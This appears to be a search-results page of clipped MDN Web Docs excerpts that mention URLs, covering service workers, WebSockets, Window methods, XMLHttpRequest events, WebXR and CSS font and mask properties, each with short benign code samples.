url must be on the same origin as the document that registers the serviceworker. serviceworker.state read only returns the state of the service worker. it returns one of the following values: installing, installed, activating, activated, or redundant. event handlers serviceworker.
ServiceWorkerContainer - Web APIs
service workers. also available via the serviceworkercontainer.onerror property. message occurs when incoming messages are received by the serviceworkercontainer object (e.g. via a messageport.postmessage() call.) also available via the serviceworkercontainer.onmessage property. methods serviceworkercontainer.register() creates or updates a serviceworkerregistration for the given script
url. serviceworkercontainer.getregistration() gets a serviceworkerregistration object whose scope matches the provided document
url. the method returns a promise that resolves to a serviceworkerregistration or undefined. serviceworkercontainer.getregistrations() returns all serviceworkerregistration objects associated with a serviceworkercontainer in an array. the method returns a promise that...
ServiceWorkerGlobalScope.onfetch - Web APIs
if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the fetch() operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache. about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); ...
ServiceWorkerGlobalScope - Web APIs
if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the fetch() operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache. about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); ...
ServiceWorkerRegistration.active - Web APIs
the active property of the serviceworkerregistration interface returns a service worker whose serviceworker.state is activated. this property is initially set to null. an active worker controls a serviceworkerclient if the client's
url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) note: this feature is available in web workers. syntax var serviceworker = serviceworkerregistration.active; value a serviceworker object's property, if it is currently in an activated state. specifications specification status comment service workersthe definition of 'serviceworkerregistration.active' in that specification. working draft initial definition. ...
ServiceWorkerRegistration.update() - Web APIs
the fetch of the worker bypasses any browser caches if the previous fetch occurred over 24 hours ago. note: this feature is available in web workers. syntax serviceworkerregistration.update(); parameters none. return value a promise that resolves with a serviceworkerregistration object. ...
ServiceWorkerRegistration - Web APIs
a service worker whose state is installing. this is initially set to null. serviceworkerregistration.waiting read only returns a service worker whose state is installed. this is initially set to null. serviceworkerregistration.active read only returns a service worker whose state is activated. this is initially set to null. an active worker will control a serviceworkerclient if the client's
url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) serviceworkerregistration.navigationpreload read only returns the instance of navigationpreloadmanager associated with the current service worker registration. serviceworkerregistration.pushmanager read only returns a reference to the pushmanager interface for managing pus...
SharedWorker - Web APIs
workers. they implement an interface different than dedicated workers and have a different global scope, sharedworkerglobalscope. note: if sharedworker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host and port). constructors sharedworker() creates a shared web worker that executes the script at the specified
url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. abstractworker.onerror is an eventlistener that is called whenever an errorevent of type error bubbles through the worker. sharedworker.port read only returns a messageport object used to communicate with and control the shared worker. methods inherits methods from its pare...
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the speechsynthesisvoice interface returns the type of uri and location of the speech synthesis service for this voice. syntax var myvoiceuri = speechsynthesisvoiceinstance.voiceuri; value a domstring representing the uri of the voice. this is a generic uri and can point to local or remote services, e.g. it could be a proprietary system urn or a a
url to a remote service. examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' ...
ValidityState - Web APIs
only a boolean that is true if the value fails to meet the specified minlength for htmlinputelement or htmltextareaelement objects, or false if its length is greater than or equal to the minimum length. if true, the element matches the :invalid and :out-of-range css pseudo-classes. typemismatch read only a boolean that is true if the value is not in the required syntax (when type is email or
url), or false if the syntax is correct. if true, the element matches the :invalid css pseudo-class. valid read only a boolean that is true if the element meets all its validation constraints, and is therefore considered to be valid, or false if it fails any constraint. if true, the element matches the :valid css pseudo-class; the :invalid css pseudo-class otherwise. valuemissing read only a bo...
VideoTrack.id - Web APIs
the id property contains a string which uniquely identifies the track represented by the videotrack. this id can be used with the videotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element. the track id can also be used as the fragment of a
url that loads the specific track (if the media supports media fragments). syntax var trackid = videotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an videotracklist such as the one specified by a media element's videotracks property. specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification. living standard ...
VideoTrack - Web APIs
ack can be active at any given time, so setting this property to true for one track while another track is active will make that other track inactive. id read only a domstring which uniquely identifies the track within the media. this id can be used to locate a specific track within a video track list by calling videotracklist.gettrackbyid(). the id can also be used as the fragment part of the
url if the media supports seeking by media fragment per the media fragments uri specification. kind read only a domstring specifying the category into which the track falls. for example, the main video track would have a kind of "main". label read only a domstring providing a human-readable label for the track. for example, a track whose kind is "sign" might have a label of "a sign-language int...
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
oth peers involved in the connection. create the signaling and peer connections first, the signaling channel needs to be opened and the rtcpeerconnection needs to be created. the stun server listed here is obviously not a real one; you'll need to replace stun.myserver.tld with the address of a real stun server. ...
Improving compatibility using WebRTC adapter.js - Web APIs
ter is provided under a bsd-style license. what adapter.js does for each version of each browser that supports webrtc, adapter.js implements the needed polyfills, establishes the non-prefixed names of apis, and applies any other changes needed to make the browser run code written to the webrtc specification. for example, on firefox versions older than 38, the adapter adds the rtcpeerconnection.
urls property; firefox doesn't natively support this property until firefox 38, while on chrome, the adapter adds support for the promise based api is added if it's not present. these are just a couple of examples; there are of course other adjustments made for you by the shim. the webrtc adapter currently supports mozilla firefox, google chrome, apple safari, and microsoft edge. using adapter.js ...
WebSocket() - Web APIs
the websocket() constructor returns a new websocket object. syntax var awebsocket = new websocket(
url [, protocols]); parameters
url the
url to which to connect; this should be the
url to which the websocket server will respond. protocols optional either a single protocol string or an array of protocol strings. these strings are used to indicate sub-protocols, so that a single server can implement multiple websocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). if you don't specify a protocol string, an empty string is assumed. exceptions thrown security_err the port to which the connection is being attempted is being blocked. syntaxerror the
url is invalid. specifications ...
Writing WebSocket client applications - Web APIs
ken from our websocket chat client/server sample. see the code, then try out the example for yourself. creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server. the websocket constructor accepts one required and one optional parameter: websocket = new websocket(
url, protocols);
url the
url to which to connect; this should be the
url to which the websocket server will respond. this should use the
url scheme wss://, although some software may allow you to use the insecure ws:// for local connections. protocols optional either a single protocol string or an array of protocol strings. these strings are used to indicate sub-protocols, so that a single ser...
Movement, orientation, and motion: A WebXR example - Web APIs
initializes the buffers that contain data to be passed into webgl. these buffers include the array of vertex positions, the array of vertex normals, the texture coordinates for each surface of the cube, and the array of vertex indices (specifying which entry in the vertex list represents each corner of the cube). an object containing references to eard loadtexture() loads the image at a given
url and creates a webgl texture from it. if the image's dimensions aren't both powers of two (see the ispowerof2() function), mipmapping is disabled and wrapping is clamped to the edges. this is because optimized rendering of mipmapped textures only works for textures whose dimensions are powers of two in webgl 1. webgl 2 supports arbitratily-sized textures for mipmapping. ispowerof2() returns true...
Starting up and shutting down a WebXR session - Web APIs
rtly here on mdn. other improvements include updating the emulator to rename the xr interface to xrsystem, introduce support for squeeze (grip) input sources, and add support for the xrinputsource property profiles. context requirements a webxr compatible environment starts with a securely-loaded document. your document needs to either have been loaded from the local drive (such as by using an
url such as http://localhost/...), or using https when loading the page. the javascript code must, likewise, have been loaded securely. if the document wasn't loaded securely, you won't get very far. the navigator.xr property doesn't even exist if the document wasn't loaded securely. this may also be the case if there simply is no compatible xr hardware available. either way, you need to be prepared...
Background audio processing using AudioWorklet - Web APIs
estinations (either other nodes or to the audiocontext object's destination property. to use an audio worklet processor, you can use code similar to the following: let audiocontext = null; async function createmyaudioprocessor() { if (!audiocontext) { try { audiocontext = new audiocontext(); await audiocontext.resume(); await audiocontext.audioworklet.addmodule("module-
url/module.js"); } catch(e) { return null; } } return new audioworkletnode(audiocontext, "processor-name"); } this createmyaudioprocessor() function creates and returns a new instance of audioworkletnode configured to use your audio processor. it also handles creating the audio context if it hasn't already been done. in order to ensure the context is usable, this starts by creat...
Window.closed - Web APIs
the window.closed read-only property indicates whether the referenced window is closed or not. syntax const isclosed = windowref.closed; value a boolean. possible values: true: the window has been closed. false: the window is open. examples change the
url of a window from a popup the following example demonstrates how a popup window can change the
url of the window that opened it. before attempting to change the
url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them. refreshing a previously opened po...
Window.external - Web APIs
he window api returns an instance of the external interface, which was intended to contain functions related to adding external search providers to the browser. however, this is now deprecated, and the contained methods are now dummy functions that do nothing as per spec. methods the external object has the following methods: method description addsearchprovider(description
url) dummy function; does nothing. see autodiscovery of search plugins. issearchproviderinstalled() dummy function; does nothing. specifications specification status html living standardthe definition of 'external' in that specification. living standard ...
Window.frameElement - Web APIs
point, including <object>, <iframe>, or <embed>. syntax const frameel = window.frameelement value the element which the window is embedded into. if the window isn't embedded into another document, or if the document into which it's embedded has a different origin, the value is null instead. example const frameel = window.frameelement; // if we're embedded, change the containing element's
url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification. candidate recommendation initial specification. ...
Window.getComputedStyle() - Web APIs
e between pre- and post-layout values includes the resolution of percentages for width or height, as those will be replaced by their pixel equivalent only for used values. returned values are sometimes deliberately inaccurate. to avoid the “css history leak” security issue, browsers may lie about the computed styles for a visited link, returning values as if the user never visited the linked
url. see plugging the css history leak and privacy-related changes coming to css :visited for examples of how this is implemented. during css transitions, getcomputedstyle returns the original property value in firefox, but the final property value in webkit. in firefox, properties with the value auto return the used value, not the value auto. so if you apply top:auto and bottom:0 on an element wit...
Window: hashchange event - Web APIs
the hashchange event is fired when the fragment identifier of the
url has changed (the part of the
url beginning with and following the # symbol). bubbles yes cancelable no interface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'has...
Window.history - Web APIs
m. example history.back(); // equivalent to clicking back button history.go(-1); // equivalent to history.back(); notes for top-level pages you can see the list of pages in the session history, accessible via the history object, in the browser's dropdowns next to the back and forward buttons. for security reasons the history object doesn't allow the non-privileged code to access the
urls of other pages in the session history, but it does allow it to navigate the session history. there is no way to clear the session history or to disable the back/forward navigation from unprivileged code. the closest available solution is the location.replace() method, which replaces the current item of the session history with the provided
url. specifications specification status ...
Window.openDialog() - Web APIs
dler. these parameters may be used, then, to pass arguments to and from the dialog window. the call to opendialog() returns immediately. if you want the call to block until the user has closed the dialog, supply modal as a windowfeatures parameter. note that this also means the user won't be able to interact with the opener window until he closes the modal dialog. syntax newwindow = opendialog(
url, name, features, arg1, arg2, ...) newwindow the opened window
url the
url to be loaded in the newly opened window. name the window name (optional). see window.open() description for detailed information. features see window.open() for details. arg1, arg2, ... the arguments to be passed to the new window (optional). example var win = opendialog("http://example.tld/zzz.xul", "dlg", ...
Window.resizeBy() - Web APIs
he default size of a window in a browser if the window wasn’t created by window.open(), or contains more than one tab. see the compatability table for details on the change. even if you create window by window.open() it is not resizable by default. to make the window resizable, you must open it with the "resizable" feature. // create resizable window myexternalwindow = window.open("http://my
url.domain", "mywindowname", "resizable"); // resize window to 500x500 myexternalwindow.resizeto(500, 500); // make window relatively smaller to 400x400 myexternalwindow.resizeby(-100, -100); the window you create must respect the same origin policy. if the window you open is not in the same orgin as the current window, you will not be able to resize, or access any information on, that window/tab.
Window.sessionStorage - Web APIs
ata in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends. a page session lasts as long as the browser is open, and survives over page reloads and restores. opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work. opening multiple tabs/windows with the same
url creates sessionstorage for each tab/window. closing a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com)...
Window.showModalDialog() - Web APIs
e has been removed. please fix your web sites and applications. this method was removed in chrome 43 and firefox 56. the window.showmodaldialog() created and displayed a modal dialog box containing a specified html document. syntax returnval = window.showmodaldialog(uri[, arguments][, options]); returnval holds the returnvalue property as set by the document specified by uri. uri is the
url of the document to display in the dialog. arguments is an optional variant containing values passed to the dialog; these are made available in the window object's window.dialogarguments property. options is an optional string specifying window ornamentation for the dialog, using one or more semicolon delimited values: syntax description center: {on | off | yes | no | 1 | ...
WindowClient.visibilityState - Web APIs
the current client. this value can be one of "hidden", "visible", or "prerender". syntax var myvisstate = windowclient.visibilitystate; value a domstring (see document.visibilitystate for values). example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.
url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification. working draft initial defi...
WindowOrWorkerGlobalScope.origin - Web APIs
syntax var myorigin = self.origin; // or just origin value a usvstring. examples executed from inside a worker script, the following snippet will log the worker's global scope's origin to the console each time it receives a message onmessage = function() { console.log(self.origin); }; if the origin is not a scheme/host/port tuple (say you are trying to run it locally, i.e. via file://
url), origin will return the string "null". specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.origin' in that specification. living standard initial definition. ...
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
t background tabs are no longer throttled if an audiocontext is present in the tab at all, even if no sound is being played. these resolve a number of issues with apps which play note-based music not being able to time or synchronize the music properly when the tab is in the background. throttling of tracking timeout scripts since firefox 55, tracking scripts (e.g. google analytics, any script
url that firefox recognises as a tracking script through its tp lists) have been subject to further throttling. when running in the foreground, the throttling minimum delay is still 4ms. in background tabs, however, the throttling minimum delay is 10,000 ms, or 10 seconds, which comes into effect 30 seconds after a document has first loaded. the prefs that control this behaviour are: dom.min_trac...
Worker - Web APIs
nside a worker. workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead. constructors worker() creates a dedicated web worker that executes the script at the specified
url. this also works for blob
urls. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. event handlers abstractworker.onerror an eventlistener called whenever an errorevent of type error bubbles through to the worker. this is inherited from abstractworker. worker.onmessage an eventlistener called whenever a messageevent of type message...
Worklet - Web APIs
g the positioning and dimensions of custom elements. css layout api for 3d rendering with webgl, you don't use worklets. instead, you write vertex shaders and fragment shaders using glsl code, and those shaders will then run on the graphics card. properties the worklet interface does not define any properties. methods worklet.addmodule() adds the script module at the given
url to the current worklet. specifications specification status comment worklets level 1the definition of 'worklet' in that specification. working draft ...
XDomainRequest.open() - Web APIs
opens an xdomainrequest which is configured to use a given method (get/post) and
url. syntax xdr.open(method,
url); parameters method the http method to use for the request. (get or post)
url the
url to which to send the request. example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification. ...
HTML in XMLHttpRequest - Web APIs
ince it does not check the actual feature but an indication of that feature. method 2 there are two challenges to detecting exactly if a browser supports html parsing in xmlhttprequest. first, the detection result is obtained asynchronously, because html support is only available in the asynchronous mode. second, you have to actually fetch a test document over http, because testing with a data:
url would end up testing data:
url support at the same time. thus, to detect html support, a test html file is needed on the server. this test file is small and is not well-formed xml: <title>&&<</title> if the file is named detect.html, the following function can be used for detecting html parsing support: function detecthtmlinxhr(callback) { if (!window.xmlhttprequest) { window.settim...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
"\n"); dump("\torganisation = " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid until " + validity.notaftergmt + "\n"); } } catch(err) { alert(err); } } function test(
url) { var req = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('get',
url, true); req.addeventlistener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced t...
XMLHttpRequest: abort event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: error event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: load event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: loadend event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest: loadstart event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest.open() - Web APIs
the xmlhttprequest method open() initializes a newly-created request, or re-initializes an existing one. note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort(). syntax xmlhttprequest.open(method,
url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc. ignored for non-http(s)
urls.
url a domstring representing the
url to send the request to. async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously. if this value is false, the send() method does not return until the response is received. if true, notification of a completed transaction is provided usin...
XMLHttpRequest.overrideMimeType() - Web APIs
er, xmlhttprequest assumes that the mime type is "text/xml". if the content isn't valid xml, an "xml parsing error: not well-formed" error occurs. you can avoid this by calling overridemimetype() to specify a different type. // interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get",
url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification. living standard whatwg living standard ...
XMLHttpRequest: progress event - Web APIs
tent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(
url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get",
url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonab...
XMLHttpRequest.responseXML - Web APIs
or if the data can't be parsed as xml or html. note: the name responsexml is an artifact of this property's history; it works for both html and xml. usually, the response is parsed as "text/xml". if the responsetype is set to "document" and the request was made asynchronously, instead the response is parsed as "text/html". responsexml is null for any other types of data, as well as for data:
urls. if the server doesn't specify the content-type as "text/xml" or "application/xml", you can use xmlhttprequest.overridemimetype() to parse it as xml anyway. this property isn't available to workers. syntax var data = xmlhttprequest.responsexml; value a document from parsing the xml or html received using xmlhttprequest, or null if no data was received or if the data is not xml/html. exce...
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called. syntax xmlhttprequest.onabort = callback; values callback is the function to be executed when the transaction is aborted. example var xmlhttp = new xmlhttprequest(), method = 'get',
url = 'https://developer.mozilla.org/'; xmlhttp.open(method,
url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.send(); //.. xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XRInputSourceArray.length - Web APIs
the array. examples in this example, a game that requires at least one input source uses length to check this before proceeding to allow the user to play the game. let sources = xrsession.inputsources; if (sources.length === 0) { showalertdialog("you need to have at least one controller to play super duper shark jump fest 9000.", [ { label: "shop now",
url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, each describing a button and what should happen when it's clicked. the first takes the user to an amazon.com sea...
ARIA Test Cases - Accessibility
if an item is focused within the list, this should be announced next, followed by an indication of this item's position within the list if the screen reader supports this in other lists as well. a...
-webkit-mask-box-image - CSS: Cascading Style Sheets
s stretched somewhat and repeated such that there is no partial mask image at the end of the border box. space the mask image is repeated as many times as possible without stretching. there is no partial mask image at the end of the border box. formal definition value not found in db! formal syntax syntax not found in db! examples setting an image .exampleone { -webkit-mask-box-image:
url('mask.png'); } offsetting and filling an image .exampletwo { -webkit-mask-box-image:
url('logo.png') 100 100 0 0 round round; } specifications not part of any standard. ...
-webkit-mask-composite - CSS: Cascading Style Sheets
. formal definition initial valuesource-overapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <composite-style>#where <composite-style> = clear | copy | source-over | source-in | source-out | source-atop | destination-over | destination-in | destination-out | destination-atop | xor examples compositing with xor .example { -webkit-mask-image:
url(mask1.png),
url('mask2.png'); -webkit-mask-composite: xor, source-over; } specifications not part of any standard. this property is specified as mask-composite using different values. ...
:-moz-loading - CSS: Cascading Style Sheets
because they have not started loading, such as images that haven't started to arrive yet. note that images that are in the process of loading are not matched by this pseudo-class. note: this selector is mainly intended to be used by theme developers. syntax :-moz-loading examples setting a background for images that are loading :-moz-loading { background-color: #aaa; background-image:
url(loading-animation.gif) center no-repeat; } specifications not part of any standard. ...
:enabled - CSS: Cascading Style Sheets
accept focus. the element also has a disabled state, in which it can't be activated or accept focus. /* selects any enabled <input> */ input:enabled { color: blue; } syntax :enabled examples the following example makes the color of text and button <input>s green when enabled, and gray when disabled. this helps the user understand which elements can be interacted with. ...
@counter-style - CSS: Cascading Style Sheets
tor will be used to represent the first n counter symbols. once the specified set of symbols have exhausted, the fallback style will be used for the rest of the list. the below @counter-style rule uses images instead of character symbols. image values for symbols is currently an 'at risk' feature, and is not implemented in any browser. @counter-style winners-list { system: fixed; symbols:
url(gold-medal.svg)
url(silver-medal.svg)
url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor. each additive tuple consists of a counter symbol and a non negative integer weight. the ad...
font-display - CSS: Cascading Style Sheets
period, it is used normally. font failure period if the font face is not loaded, the user agent treats it as a failed load causing normal font fallback. formal definition related at-rule@font-faceinitial valueautocomputed valueas specified formal syntax [ auto | block | swap | fallback | optional ] examples specifying fallback font-display @font-face { font-family: examplefont; src:
url(/path/to/fonts/examplefont.woff) format('woff'),
url(/path/to/fonts/examplefont.eot) format('eot'); font-weight: 400; font-style: normal; font-display: fallback; } specifications specification status comment css fonts module level 4the definition of 'font-display' in that specification. working draft initial definition ...
font-family - CSS: Cascading Style Sheets
ont family'; /* <custom-ident> value */ font-family: examplefont; values <family-name> specifies the name of the font family. formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax <family-name>where <family-name> = <string> | <custom-ident>+ examples setting the font family name @font-face { font-family: examplefont; src:
url('examplefont.ttf'); } specifications specification status comment css fonts module level 3the definition of 'font-family' in that specification. candidate recommendation initial definition ...
font-stretch - CSS: Cascading Style Sheets
ra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> examples setting a percentage range for font-stretch the following find a local open sans font or import it, and allow using the font for normal, semi-condensed and semi-expanded states. @font-face { font-family: "open sans"; src: local("open sans") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification. working draft css fonts module level 3the definition of 'font-stretch' in that specification. candidate recommendation ...
font-variation-settings - CSS: Cascading Style Sheets
ters or contains characters outside the u+20 - u+7e codepoint range, the whole property is invalid. the <number> can be fractional or negative. formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src:
url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification. working draft initial definition ...
font-weight - CSS: Cascading Style Sheets
syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting normal font weight in a @font-face rule the following finds a local open sans font or import it, and allows using the font for normal font weights. @font-face { font-family: "open sans"; src: local("open sans") format("woff2"),
url("/fonts/opensans-regular-webfont.woff") format("woff"); font-weight: 400; } specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification. working draft css fonts module level 3the definition of 'font-weight' in that specification. candidate recommendation ...
-ms-high-contrast - CSS: Cascading Style Sheets
n db! examples the following declarations will match applications that are being displayed in high contrast mode with any color variation, a black-on-white color variation, and a white-on-black color variation, respectively. @media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { background-image:
url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { background-image:
url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors. the available color keywords are: windowtext: controls the color of text content. highlighttext: controls the color of selected text. hig...
aspect-ratio - CSS: Cascading Style Sheets
iv> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used iframe and data
